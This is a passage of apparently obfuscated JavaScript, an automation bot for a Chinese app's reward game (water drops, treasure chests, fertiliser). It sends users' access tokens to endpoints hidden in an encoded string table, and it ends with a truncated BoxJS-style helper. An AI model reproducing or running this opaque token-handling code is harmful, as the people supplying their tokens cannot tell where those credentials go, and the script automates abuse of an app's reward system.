this[_0x6cb7('‫184','3WLS')]();}if(_0x4fb127[_0x6cb7('‫185','VfC^')]){if(_0x3250a3[_0x6cb7('‫186','taEA')](_0x3250a3[_0x6cb7('‮187','4q8Y')],_0x3250a3[_0x6cb7('‮188','uYQW')])){_0x7c5542[_0x6cb7('‮189','7SnV')](_0x3250a3[_0x6cb7('‫18a','tsKc')]);}else{let _0x2709ef=_0x4fb127[_0x6cb7('‫18b','Rjpl')],_0xb1a831=_0x2709ef[_0x6cb7('‫18c','DKpE')],_0x57d454=_0x2709ef[_0x6cb7('‮18d','3WLS')][0x0][_0x6cb7('‫18e','VuNW')],_0x492e01=new Date(_0x3250a3[_0x6cb7('‫18f','CPd*')](Number,_0x3250a3[_0x6cb7('‮190','aEV1')](_0x2709ef[_0x6cb7('‮191','nacS')],_0x3250a3[_0x6cb7('‫192','qO3C')]))),_0x56c795=_0x492e01[_0x6cb7('‮193','l^9E')](),_0x273e10=_0x492e01[_0x6cb7('‫194','8SuU')](),_0x71fc72=_0x3250a3[_0x6cb7('‮195','txU5')](_0x56c795,_0x107268[_0x6cb7('‮196','nacS')]()),_0x5645e9=_0x3250a3[_0x6cb7('‮197','nacS')](_0x273e10,_0x107268[_0x6cb7('‫198','taEA')]()),_0x1205f8=_0x3250a3[_0x6cb7('‮199','l&k&')](_0x71fc72,0x0)?_0x3250a3[_0x6cb7('‮19a','l&k&')](_0x5645e9,'小时'):_0x3250a3[_0x6cb7('‫19b','[vKE')](_0x71fc72,'天');if(this[_0x6cb7('‫19c','L(@T')]){_0x7c5542[_0x6cb7('‮19d','bi]F')](_0x6cb7('‮19e','ToWS')+_0xb1a831+_0x6cb7('‫19f','A0vt')+_0x1205f8+_0x6cb7('‫1a0','uYQW')+_0x57d454+'💧');}}}if(_0x4fb127[_0x6cb7('‫1a1','4q8Y')]){let _0x538a86=_0x4fb127[_0x6cb7('‫1a2','txU5')],_0x28f93e=_0x538a86[_0x6cb7('‮1a3','uYQW')],_0x3d134c=_0x538a86[_0x6cb7('‮1a4','EIwb')];if(this[_0x6cb7('‫11','Cfiq')]){if(_0x3250a3[_0x6cb7('‮1a5','VuNW')](_0x3250a3[_0x6cb7('‫1a6','8SuU')],_0x3250a3[_0x6cb7('‮1a7','kD^z')])){_0x7c5542[_0x6cb7('‮39','4omL')](_0x9e2080+=_0x3250a3[_0x6cb7('‫1a8','kD^z')]);}else{_0x7c5542[_0x6cb7('‮35','nacS')](_0x6cb7('‫1a9','xO1Q')+_0x28f93e+_0x6cb7('‮1aa','6%kd')+(_0x3250a3[_0x6cb7('‮1ab','@6HR')](_0x3d134c,0x2)?'结束':_0x3250a3[_0x6cb7('‫1ac','O0r*')])+'\x20');}}if(_0x3250a3[_0x6cb7('‫1ad','CPd*')](_0x3d134c,0x2)){await this[_0x6cb7('‮1ae','VfC^')](0x21,_0x3250a3[_0x6cb7('‫1af','A0vt')]);await _0x7c5542[_0x6cb7('‫1b0','QeVy')](0xbb8);}}if(_0x4fb127[_0x6cb7('‮1b1','VuNW')]){if(_0x3250a3[_0x6cb7('‮1b2','N4GP')](_0x3250a3[_0x6cb7('‮1b3','txU5')],_0x3250a3[_0x6cb7('‫1b4','aEV1')])){let _0x1947bb;if(_0x3250a3[_0x6cb7('‫1b5','l^9E')](_0x5a970f[_0x6cb7('‫1b6','txU5')]('@'),-0x1)){_0x1947bb=_0x5a970f[_0x6cb7('‮1b7','tsKc')]('@');}else{_0x1947bb=_0x5a970f[_0x6cb7('‮1b8','Spd&')]('\x0a');}for(let _0x35fc13 in _0x1947bb){_0x4da9a1[_0x6cb7('‮1b9','(w5K')](new _0x3ec43f(_0x1947bb[_0x35fc13]));}_0x7c5542[_0x6cb7('‫cb','Q(p8')](_0x6cb7('‫1ba','EIwb')+_0x1947bb[_0x6cb7('‫1bb','oWoQ')]+_0x6cb7('‫1bc','N4GP'));return!![];}else{let _0x52c9aa='',_0x47cc50=0x0;for(let _0x3851d2 of _0x4fb127[_0x6cb7('‫1bd','OLm1')]){_0x52c9aa+='宝箱'+_0x3851d2[_0x6cb7('‫1be','EIwb')]+','+(_0x3250a3[_0x6cb7('‫1bf','Uk((')](_0x3851d2[_0x6cb7('‫1c0','oWoQ')],0x3)?'已':'未')+_0x6cb7('‮1c1','CPd*');if(!this[_0x6cb7('‫1c2','VuNW')]&&_0x3250a3[_0x6cb7('‫1c3','QeVy')](_0x3851d2[_0x6cb7('‮1c4','XMzj')],0x3)){if(_0x3250a3[_0x6cb7('‫1c5','6%kd')](_0x3250a3[_0x6cb7('‫1c6','nacS')],_0x3250a3[_0x6cb7('‮1c7','1QSI')])){return;}else{this[_0x6cb7('‫1c8','Q3Ty')]=0x1;_0x47cc50=0x1;await this[_0x6cb7('‮1c9','8SuU')](_0x3851d2[_0x6cb7('‮1ca','l^9E')]);await _0x7c5542[_0x6cb7('‫1cb','Q(p8')](0xbb8);}}}if(this[_0x6cb7('‫1cc','Q(p8')]){if(_0x3250a3[_0x6cb7('‮1cd','tsKc')](_0x3250a3[_0x6cb7('‮1ce','KmS#')],_0x3250a3[_0x6cb7('‮1cf','ToWS')])){var _0x5ca611=_0x3250a3[_0x6cb7('‫1d0','3WLS')][_0x6cb7('‫1d1','nacS')]('|'),_0x12a818=0x0;while(!![]){switch(_0x5ca611[_0x12a818++]){case'0':this[_0x6cb7('‫1d2','A0vt')]=![];continue;case'1':this['ck']=e[_0x6cb7('‮1d3','a5[8')]('#');continue;case'2':this[_0x6cb7('‫1d4','QeVy')]=0x1;continue;case'3':this[_0x6cb7('‮1d5','VuNW')]=0x0;continue;case'4':this[_0x6cb7('‫1d6','@6HR')]=0x0;continue;case'5':this[_0x6cb7('‮1d7','O0r*')]=++_0x3b94d5;continue;case'6':this[_0x6cb7('‮136','Spd&')]=null;continue;case'7':this[_0x6cb7('‫1d8','cAvC')]=null;continue;case'8':this[_0x6cb7('‫1d9','KmS#')]=this['ck'][0x1];continue;case'9':this[_0x6cb7('‮1da','6%kd')]=this['ck'][0x0];continue;case'10':this[_0x6cb7('‫1db','1QSI')]=0x0;continue;case'11':this[_0x6cb7('‮1dc','a5[8')]='靓仔';continue;case'12':this[_0x6cb7('‫1dd','4q8Y')]=null;continue;case'13':this[_0x6cb7('‫1de','cAvC')]={'large':{'sum':0x0,'id':[]},'small':{'sum':0x0,'id':[]}};continue;}break;}}else{_0x7c5542[_0x6cb7('‫ee','L(@T')](_0x47cc50?_0x52c9aa:_0x3250a3[_0x6cb7('‫1df','Q(p8')]);}}}}}this[_0x6cb7('‮1e0','tsKc')]=0x0;}async['my'](){var _0x560d22={'eTWGT':_0x6cb7('‮1e1','tsKc'),'dmmgd':function(_0x46a9ab,_0x3d3892,_0x4583d3){return _0x46a9ab(_0x3d3892,_0x4583d3);},'AFanV':_0x6cb7('‮130','uYQW'),'uUvsQ':function(_0x1fb2fa,_0x27d5fd){return _0x1fb2fa!==_0x27d5fd;},'nHdjx':_0x6cb7('‮1e2','ToWS'),'jDXLT':_0x6cb7('‮1e3','XMzj'),'xSqnY':function(_0x1fd8a1,_0x351f44){return _0x1fd8a1!==_0x351f44;},'ohOGh':_0x6cb7('‫1e4','nacS'),'WWyZi':_0x6cb7('‮1e5','DKpE')};let _0xd61605={'url':_0x560d22[_0x6cb7('‮1e6','nacS')],'headers':{'accesstoken':this[_0x6cb7('‫1e7','l^&q')],'anti-token':this[_0x6cb7('‮1e8','kYs8')]}},_0xd3c4c7=await _0x560d22[_0x6cb7('‫1e9','DAP4')](_0x4185e1,_0x560d22[_0x6cb7('‮1ea','CPd*')],_0xd61605);if(!_0xd3c4c7[_0x6cb7('‮1eb','taEA')]&&_0xd3c4c7){if(_0x560d22[_0x6cb7('‮1ec','xO1Q')](_0x560d22[_0x6cb7('‫1ed','@6HR')],_0x560d22[_0x6cb7('‮1ee','DKpE')])){this[_0x6cb7('‫1ef','oWoQ')]=!![];this[_0x6cb7('‮1f0','OLm1')]=_0xd3c4c7[_0x6cb7('‫1f1','oWoQ')][_0x6cb7('‮1f2','Y3^R')];_0x7c5542[_0x6cb7('‮121','N4GP')](_0x6cb7('‮1f3','xO1Q')+this[_0x6cb7('‫1f4','1QSI')]+'\x20');}else{a+=data[i][_0x6cb7('‫1f5','Cfiq')];}}else{if(_0x560d22[_0x6cb7('‮1f6','4omL')](_0x560d22[_0x6cb7('‮1f7','O0r*')],_0x560d22[_0x6cb7('‮1f8','ToWS')])){_0x7c5542[_0x6cb7('‮e3','@6HR')]('账号'+this[_0x6cb7('‫1f9','dixm')]+_0x6cb7('‫1fa','VfC^'));}else{_0x7c5542[_0x6cb7('‫5a','kYs8')](_0x9e2080+=_0x6cb7('‮1fb','xO1Q')+_0xd3c4c7[_0x6cb7('‮1fc','tsKc')]+'\x20');}}}async['f'](){var _0x16c843={'jpQxs':function(_0x584b0b,_0x105459){return _0x584b0b(_0x105459);},'UkWbB':function(_0x355d4f,_0x6397ec){return _0x355d4f/_0x6397ec;},'NkVBi':_0x6cb7('‫1fd','nacS'),'MtnEN':function(_0x27dcc7,_0x40e4e4,_0x5b7cee){return _0x27dcc7(_0x40e4e4,_0x5b7cee);},'VtCwk':_0x6cb7('‮1fe','Q(p8'),'CPUYY':function(_0x3a69f8,_0x4bcf67){return _0x3a69f8==_0x4bcf67;},'qZVMw':function(_0x38fb7d,_0xa4314b){return _0x38fb7d!==_0xa4314b;},'iBWoA':_0x6cb7('‫1ff','nacS'),'geKEI':_0x6cb7('‮200','7SnV'),'oslBk':function(_0x51d436,_0x1d400e){return _0x51d436!=_0x1d400e;},'gXTOX':function(_0x1504e4,_0xb4035c){return _0x1504e4!=_0xb4035c;},'IpBzd':function(_0x1da991,_0x176af4){return _0x1da991===_0x176af4;},'OSVfn':_0x6cb7('‮201','Cfiq'),'qCtDh':function(_0x3088c7,_0x27fe77){return _0x3088c7>_0x27fe77;},'vubVw':function(_0x314a61,_0x38bdfd){return _0x314a61>=_0x38bdfd;},'nKhVf':_0x6cb7('‮202','DAP4'),'PWwJF':_0x6cb7('‫203','OLm1'),'dWMzp':_0x6cb7('‮204','Cfiq'),'fNHJX':_0x6cb7('‮205','Y3^R'),'WJNDw':_0x6cb7('‫206','Rjpl')};let _0x1b68a8={'url':_0x16c843[_0x6cb7('‫207','QeVy')],'headers':{'accesstoken':this[_0x6cb7('‫208','txU5')],'anti-token':this[_0x6cb7('‮209','a5[8')]}},_0x3c3248=await _0x16c843[_0x6cb7('‫20a','uYQW')](_0x4185e1,_0x16c843[_0x6cb7('‫20b','VuNW')],_0x1b68a8);if(!_0x3c3248){return;}if(_0x3c3248[_0x6cb7('‫20c','8SuU')]){this[_0x6cb7('‮20d','CPd*')]=_0x3c3248[_0x6cb7('‫20e','qO3C')];let _0x4cdf43=this[_0x6cb7('‫20f','8SuU')],_0x31abef=0x0,_0x5a09e9=0x0;for(let _0xccd548 in _0x4cdf43){if(_0x16c843[_0x6cb7('‮210','CPd*')](_0x4cdf43[_0xccd548][_0x6cb7('‮37','4q8Y')],0x1)){if(_0x16c843[_0x6cb7('‮211','KmS#')](_0x16c843[_0x6cb7('‮212','dixm')],_0x16c843[_0x6cb7('‫213','4q8Y')])){_0x31abef+=_0x4cdf43[_0xccd548][_0x6cb7('‫1f5','Cfiq')];}else{let _0x10a757=_0x3c3248[_0x6cb7('‮214','1QSI')][_0x6cb7('‫7b','6%kd')];this[_0x6cb7('‮174','ToWS')]+=_0x10a757;_0x7c5542[_0x6cb7('‮35','nacS')](_0x9e2080+=_0x6cb7('‫215','l^9E')+_0x10a757+'水滴');}}else if(_0x16c843[_0x6cb7('‫216','ToWS')](_0x4cdf43[_0xccd548][_0x6cb7('‫217','xO1Q')],0x2)){_0x5a09e9+=_0x4cdf43[_0xccd548][_0x6cb7('‫218','Uk((')];}}_0x7c5542[_0x6cb7('‫219','cAvC')](_0x6cb7('‮21a','4omL')+_0x31abef+_0x6cb7('‮21b','qO3C')+_0x5a09e9+'\x20');if(_0x16c843[_0x6cb7('‫21c','Uk((')](_0x31abef,0x0)||_0x16c843[_0x6cb7('‫21d','7SnV')](_0x5a09e9,0x0)){if(_0x16c843[_0x6cb7('‫21e','Rjpl')](_0x16c843[_0x6cb7('‫21f','L(@T')],_0x16c843[_0x6cb7('‫220','VfC^')])){if(_0x16c843[_0x6cb7('‮221','tsKc')](this[_0x6cb7('‮222','kD^z')],0x1f4)){_0x7c5542[_0x6cb7('‫223','Y3^R')](_0x6cb7('‫224','O0r*'));_0x16c843[_0x6cb7('‮225','(w5K')](_0x31abef,0x1)?this[_0x6cb7('‮226','OLm1')](0x1,_0x31abef):this[_0x6cb7('‮227','DKpE')](0x2,_0x5a09e9);}else if(_0x16c843[_0x6cb7('‮228','VuNW')](this[_0x6cb7('‮229','a5[8')],0xc8)){if(_0x16c843[_0x6cb7('‫22a','l^9E')](_0x16c843[_0x6cb7('‮22b','[vKE')],_0x16c843[_0x6cb7('‮22c','4omL')])){_0x7c5542[_0x6cb7('‮e3','@6HR')](_0x6cb7('‫22d','nacS'));this[_0x6cb7('‫22e','xO1Q')](0x2,_0x5a09e9);}else{_0x7c5542[_0x6cb7('‮22f','(w5K')](_0x9e2080+=_0x6cb7('‫66','VfC^')+_0x3c3248[_0x6cb7('‫230','l^&q')]);}}else{if(_0x16c843[_0x6cb7('‮231','7SnV')](_0x16c843[_0x6cb7('‮232','Cfiq')],_0x16c843[_0x6cb7('‮233','DKpE')])){_0x7c5542[_0x6cb7('‮e3','@6HR')](_0x16c843[_0x6cb7('‮234','cAvC')]);}else{_0x7c5542[_0x6cb7('‫235','Spd&')](_0x9e2080+=_0x6cb7('‫236','[vKE')+_0x3c3248[_0x6cb7('‮237','ToWS')][0x0][_0x6cb7('‫238','1QSI')]+'\x20');}}}else{let _0x621009=_0x16c843[_0x6cb7('‫239','Uk((')](parseInt,_0x16c843[_0x6cb7('‫23a','VfC^')](_0x3c3248[_0x6cb7('‫23b','@6HR')],0x3e8));this[_0x6cb7('‫23c','l^&q')]+=_0x621009;_0x7c5542[_0x6cb7('‫23d','tsKc')](_0x9e2080+=_0x6cb7('‫23e','CPd*')+_0x621009+'💧');}}}else{_0x7c5542[_0x6cb7('‫88','a5[8')](_0x16c843[_0x6cb7('‫23f','xO1Q')]);}}async[_0x6cb7('‮240','oWoQ')](_0x5c93a1,_0x41b379){var _0x59b48b={'ejGIG':_0x6cb7('‫241','l&k&'),'kavXV':function(_0x2616a4,_0x40d0ca,_0x15a64e){return _0x2616a4(_0x40d0ca,_0x15a64e);},'BSDyz':_0x6cb7('‫242','DAP4'),'AmMqJ':function(_0x37038b,_0x1e13a6){return _0x37038b==_0x1e13a6;},'PVgFg':function(_0x300669,_0x5c3cd6){return _0x300669+_0x5c3cd6;}};let _0xa42255={'url':_0x59b48b[_0x6cb7('‮243','tsKc')],'body':_0x6cb7('‮244','VuNW')+_0x5c93a1+_0x6cb7('‮245','KmS#')+_0x41b379+_0x6cb7('‫246','Q(p8')+this[_0x6cb7('‮247','Rjpl')]+_0x6cb7('‮248','N4GP'),'headers':{'accesstoken':this[_0x6cb7('‮1da','6%kd')],'anti-token':this[_0x6cb7('‫249','l^9E')]}},_0x4228ec=await _0x59b48b[_0x6cb7('‫24a','7SnV')](_0x4185e1,_0x59b48b[_0x6cb7('‮24b','xO1Q')],_0xa42255);if(!_0x4228ec){return;}let _0x534cee=_0x59b48b[_0x6cb7('‫24c','tsKc')](_0x5c93a1,0x1)?'大':'小';_0x9e2080='使用'+_0x534cee+_0x6cb7('‮24d','Cfiq')+_0x41b379+'\x20';if(_0x4228ec[_0x6cb7('‫24e','4omL')]){_0x7c5542[_0x6cb7('‮24f','qO3C')](_0x9e2080+=_0x6cb7('‮250','l^&q')+_0x4228ec[_0x6cb7('‫251','8SuU')]+'\x20');}else{_0x7c5542[_0x6cb7('‫8d','Uk((')](_0x9e2080+=_0x59b48b[_0x6cb7('‫252','kYs8')](_0x6cb7('‫253','L(@T'),_0x4228ec[_0x6cb7('‮254','6%kd')]));}}}(async()=>{var _0x4d9e30={'eveFA':_0x6cb7('‫255','l&k&'),'FLBoX':function(_0x24953e){return _0x24953e();},'TvTHa':_0x6cb7('‫256','l^&q'),'ghKJT':function(_0x159753,_0x278338){return _0x159753>=_0x278338;},'MaKmJ':function(_0x3ed35d,_0x27c41b){return _0x3ed35d<=_0x27c41b;},'DSSFb':function(_0x1372c0,_0x5506a2){return _0x1372c0!==_0x5506a2;},'nVlYO':_0x6cb7('‫257','@6HR'),'cNMEF':_0x6cb7('‮258','3WLS'),'fuZrC':_0x6cb7('‮259','bi]F'),'CbPAt':_0x6cb7('‮25a','Cfiq'),'qCDIT':_0x6cb7('‮25b','DAP4'),'NmSId':_0x6cb7('‮25c','VuNW'),'UBNMh':_0x6cb7('‮25d','uYQW'),'RZlhC':_0x6cb7('‮25e','O0r*'),'LOWVt':_0x6cb7('‫25f','O0r*'),'hPpZe':_0x6cb7('‮260','xO1Q'),'DhMNy':function(_0x3545c3,_0x1941c0){return _0x3545c3>_0x1941c0;},'GPvBC':_0x6cb7('‫261','l^&q'),'lefMa':function(_0xd62406,_0x3f9247){return _0xd62406<_0x3f9247;},'iYnZu':function(_0x37f99f,_0x13160c){return _0x37f99f-_0x13160c;},'Prqdd':function(_0x323280,_0x4dbf24){return _0x323280===_0x4dbf24;},'xMmPq':_0x6cb7('‮262','xO1Q'),'RdAvB':_0x6cb7('‫263','txU5'),'zghPS':_0x6cb7('‮264','O0r*'),'Ylran':_0x6cb7('‫265','bi]F'),'QslLO':_0x6cb7('‮266','a5[8')};if(await _0x4d9e30[_0x6cb7('‮267','1QSI')](_0x102bc7)){for(let _0xd088f8 of _0x4da9a1){await _0xd088f8['my']();await _0x7c5542[_0x6cb7('‮268','aEV1')](0x3e8);if(_0xd088f8[_0x6cb7('‮269','Cfiq')]){await _0xd088f8[_0x6cb7('‮26a','8SuU')]();await _0x7c5542[_0x6cb7('‫26b','l^&q')](0x7d0);await _0xd088f8[_0x6cb7('‮26c','nacS')](0xf,_0x4d9e30[_0x6cb7('‮26d','Cfiq')]);await _0x7c5542[_0x6cb7('‫1cb','Q(p8')](0x7d0);if(_0x4d9e30[_0x6cb7('‮26e','ToWS')](_0x23ef33,0x7)&&_0x4d9e30[_0x6cb7('‮26f','bi]F')](_0x23ef33,0x9)){if(_0x4d9e30[_0x6cb7('‫270','CPd*')](_0x4d9e30[_0x6cb7('‫271','DAP4')],_0x4d9e30[_0x6cb7('‫272','aEV1')])){var _0x525aa9=_0x4d9e30[_0x6cb7('‮273','kYs8')][_0x6cb7('‫274','8SuU')]('|'),_0x3829b6=0x0;while(!![]){switch(_0x525aa9[_0x3829b6++]){case'0':await _0x7c5542[_0x6cb7('‫275','kYs8')](0xbb8);continue;case'1':await _0xd088f8[_0x6cb7('‮276','aEV1')](0x8ce5,_0x4d9e30[_0x6cb7('‮277','Cfiq')]);continue;case'2':await _0xd088f8[_0x6cb7('‮278','L(@T')](0x8d3b,_0x4d9e30[_0x6cb7('‫279','XMzj')]);continue;case'3':await _0xd088f8[_0x6cb7('‫27a','Y3^R')](0x9191,_0x4d9e30[_0x6cb7('‫27b','kYs8')]);continue;case'4':await _0x7c5542[_0x6cb7('‮27c','Cfiq')](0x7d0);continue;case'5':await _0x7c5542[_0x6cb7('‮27d','dixm')](0x7d0);continue;case'6':await _0x7c5542[_0x6cb7('‮27e','Rjpl')](0xbb8);continue;case'7':await _0xd088f8[_0x6cb7('‮27f','cAvC')](0x915a,_0x4d9e30[_0x6cb7('‫280','Uk((')]);continue;}break;}}else{_0x7c5542[_0x6cb7('‫28','xO1Q')](_0x4d9e30[_0x6cb7('‫281','O0r*')]);}}else if(_0x4d9e30[_0x6cb7('‮26e','ToWS')](_0x23ef33,0xc)&&_0x4d9e30[_0x6cb7('‫282','8SuU')](_0x23ef33,0xe)){var _0x52db1a=_0x4d9e30[_0x6cb7('‫283','VfC^')][_0x6cb7('‮13','1QSI')]('|'),_0x54b7fd=0x0;while(!![]){switch(_0x52db1a[_0x54b7fd++]){case'0':await _0x7c5542[_0x6cb7('‮27c','Cfiq')](0xbb8);continue;case'1':await _0x7c5542[_0x6cb7('‮268','aEV1')](0xbb8);continue;case'2':await _0x7c5542[_0x6cb7('‮284','(w5K')](0x7d0);continue;case'3':await _0xd088f8[_0x6cb7('‮285','Cfiq')](0x915a,_0x4d9e30[_0x6cb7('‮286','qO3C')]);continue;case'4':await _0xd088f8[_0x6cb7('‮287','VfC^')](0x8ce5,_0x4d9e30[_0x6cb7('‫288','tsKc')]);continue;case'5':await _0xd088f8[_0x6cb7('‮289','l^9E')](0x9191,_0x4d9e30[_0x6cb7('‫28a','Spd&')]);continue;}break;}}else if(_0x4d9e30[_0x6cb7('‮28b','Q(p8')](_0x23ef33,0x12)&&_0x4d9e30[_0x6cb7('‮28c','6%kd')](_0x23ef33,0x15)){await _0xd088f8[_0x6cb7('‮28d','1QSI')](0x9191,_0x4d9e30[_0x6cb7('‮28e','OLm1')]);await _0x7c5542[_0x6cb7('‮28f','cAvC')](0xbb8);await _0xd088f8[_0x6cb7('‮290','l^&q')](0x915a,_0x4d9e30[_0x6cb7('‫291','KmS#')]);await _0x7c5542[_0x6cb7('‫292','CPd*')](0xbb8);}if(_0x4d9e30[_0x6cb7('‫293','XMzj')](_0xd088f8[_0x6cb7('‮294','Spd&')],0x64)){_0x7c5542[_0x6cb7('‮cd','dixm')](_0x4d9e30[_0x6cb7('‫295','Q(p8')]);await _0xd088f8['f']();await _0x7c5542[_0x6cb7('‫296','nacS')](0x3e8);for(let _0x595ac0=0xa;_0x4d9e30[_0x6cb7('‫297','l^&q')](_0x595ac0,_0x4d9e30[_0x6cb7('‮298','A0vt')](_0xd088f8[_0x6cb7('‫299','VuNW')],0x64));_0x595ac0++){if(_0x4d9e30[_0x6cb7('‫29a','l&k&')](_0x4d9e30[_0x6cb7('‫29b','DKpE')],_0x4d9e30[_0x6cb7('‫29c','VfC^')])){_0x7c5542[_0x6cb7('‫29d','Q3Ty')](e);}else{await _0xd088f8[_0x6cb7('‫29e','DAP4')]();}}}else{if(_0x4d9e30[_0x6cb7('‮29f','uYQW')](_0x4d9e30[_0x6cb7('‮2a0','OLm1')],_0x4d9e30[_0x6cb7('‮2a1','DAP4')])){_0x7c5542[_0x6cb7('‮35','nacS')](_0x4d9e30[_0x6cb7('‮2a2','6%kd')]);}else{b+=data[i][_0x6cb7('‫2a3','4q8Y')];}}}}}})()[_0x6cb7('‫2a4','VuNW')](_0x4eebc2=>_0x7c5542[_0x6cb7('‮2a5','bi]F')](_0x4eebc2))[_0x6cb7('‮2a6','bi]F')](()=>_0x7c5542[_0x6cb7('‫2a7','ToWS')]());async function _0x102bc7(){var _0x507a49={'avylU':_0x6cb7('‮2a8','oWoQ'),'wEvef':function(_0x314c4f,_0x49ea56){return _0x314c4f!=_0x49ea56;}};if(!_0x5a970f){_0x7c5542[_0x6cb7('‮8f','Q3Ty')](_0x507a49[_0x6cb7('‮2a9','A0vt')]);return![];}else{let _0xadf51c;if(_0x507a49[_0x6cb7('‫2aa','(w5K')](_0x5a970f[_0x6cb7('‫2ab','a5[8')]('@'),-0x1)){_0xadf51c=_0x5a970f[_0x6cb7('‮2ac','taEA')]('@');}else{_0xadf51c=_0x5a970f[_0x6cb7('‫2ad','3WLS')]('\x0a');}for(let _0x24dc92 in _0xadf51c){_0x4da9a1[_0x6cb7('‮2ae','kYs8')](new _0x3ec43f(_0xadf51c[_0x24dc92]));}_0x7c5542[_0x6cb7('‮2af','Cfiq')](_0x6cb7('‫2b0','uYQW')+_0xadf51c[_0x6cb7('‮2b1','6%kd')]+_0x6cb7('‮2b2','bi]F'));return!![];}}var _0xe01d3d=require(_0x6cb7('‫2b3','tsKc'));async function _0x4185e1(_0x1c4a15,_0xb9c0c2){var _0x228402={'KfEkN':function(_0x3ff4f6,_0x272392){return _0x3ff4f6===_0x272392;},'vlELM':_0x6cb7('‫2b4','N4GP'),'qoyCi':_0x6cb7('‫2b5','kYs8'),'qdqzh':_0x6cb7('‫2b6','6%kd'),'LktJH':_0x6cb7('‫2b7','taEA'),'RAfco':function(_0x559e69,_0x3d759b){return _0x559e69!==_0x3d759b;},'GECAF':_0x6cb7('‫2b8','uYQW'),'kbRwN':_0x6cb7('‫2b9','oWoQ'),'LlpKy':function(_0x52789c){return _0x52789c();},'YtIcC':function(_0xcfcc21,_0x4a5607){return _0xcfcc21(_0x4a5607);},'Jxuwx':_0x6cb7('‮2ba','L(@T'),'eLwHJ':function(_0x55cd06,_0x3c921e){return _0x55cd06+_0x3c921e;},'vNYlc':_0x6cb7('‫2bb','xO1Q'),'gNghw':function(_0x2c1fcd,_0x556355){return _0x2c1fcd!==_0x556355;},'GePcG':_0x6cb7('‫2bc','ToWS')};await _0x7c5542[_0x6cb7('‮2bd','EIwb')](0x1f4);return new Promise(_0x41828b=>{var _0x12669f={'kluuP':_0x228402[_0x6cb7('‫2be','ToWS')],'FUaOE':_0x228402[_0x6cb7('‫2bf','EIwb')],'ujoct':function(_0x1464e2){return _0x228402[_0x6cb7('‮2c0','bi]F')](_0x1464e2);},'ATwVw':function(_0x22b390,_0x1bc444){return _0x228402[_0x6cb7('‫2c1','VfC^')](_0x22b390,_0x1bc444);},'rdFlU':function(_0x4e37aa,_0x2e7026){return _0x228402[_0x6cb7('‫2c2','tsKc')](_0x4e37aa,_0x2e7026);},'DBxSH':_0x228402[_0x6cb7('‫2c3','cAvC')]};if(_0x228402[_0x6cb7('‫2c4','tsKc')](_0x228402[_0x6cb7('‮2c5','kD^z')],_0x228402[_0x6cb7('‫2c6','@6HR')])){_0x7c5542[_0x6cb7('‮2c7','l&k&')](_0x9e2080+=_0x12669f[_0x6cb7('‫2c8','oWoQ')]);}else{_0xe01d3d[_0x1c4a15](_0xb9c0c2,async(_0x57fbb5,_0x336696,_0x38f17d)=>{if(_0x228402[_0x6cb7('‫2c9','oWoQ')](_0x228402[_0x6cb7('‫2ca','l&k&')],_0x228402[_0x6cb7('‮2cb','N4GP')])){if(_0x57fbb5){_0x7c5542[_0x6cb7('‮63','taEA')](_0x12669f[_0x6cb7('‮2cc','kD^z')]);_0x12669f[_0x6cb7('‮2cd','l^&q')](_0x41828b);}else{_0x12669f[_0x6cb7('‮2ce','KmS#')](_0x41828b,JSON[_0x6cb7('‫2cf','7SnV')](_0x38f17d));}}else{try{if(_0x228402[_0x6cb7('‫2d0','Q3Ty')](_0x228402[_0x6cb7('‫2d1','Rjpl')],_0x228402[_0x6cb7('‫2d2','EIwb')])){_0x7c5542[_0x6cb7('‫88','a5[8')](_0x6cb7('‫2d3','O0r*'));}else{if(_0x57fbb5){if(_0x228402[_0x6cb7('‮2d4','[vKE')](_0x228402[_0x6cb7('‫2d5','7SnV')],_0x228402[_0x6cb7('‫2d6','XMzj')])){_0x7c5542[_0x6cb7('‮2d7','aEV1')](_0x9e2080+=_0x12669f[_0x6cb7('‮2d8','txU5')](_0x12669f[_0x6cb7('‮2d9','oWoQ')],result[_0x6cb7('‮2da','xO1Q')]));}else{_0x7c5542[_0x6cb7('‫2db','CPd*')](_0x228402[_0x6cb7('‮2dc','XMzj')]);_0x228402[_0x6cb7('‫2dd','uYQW')](_0x41828b);}}else{_0x228402[_0x6cb7('‫2de','4q8Y')](_0x41828b,JSON[_0x6cb7('‫2df','8SuU')](_0x38f17d));}}}catch(_0x5acc93){_0x7c5542[_0x6cb7('‮2e0','KmS#')](_0x5acc93);}finally{_0x228402[_0x6cb7('‮2e1','Spd&')](_0x41828b);}}});}});};_0xodJ='jsjiami.com.v6'; + + +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } isShadowrocket() { return "undefined" != typeof $rocket } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try 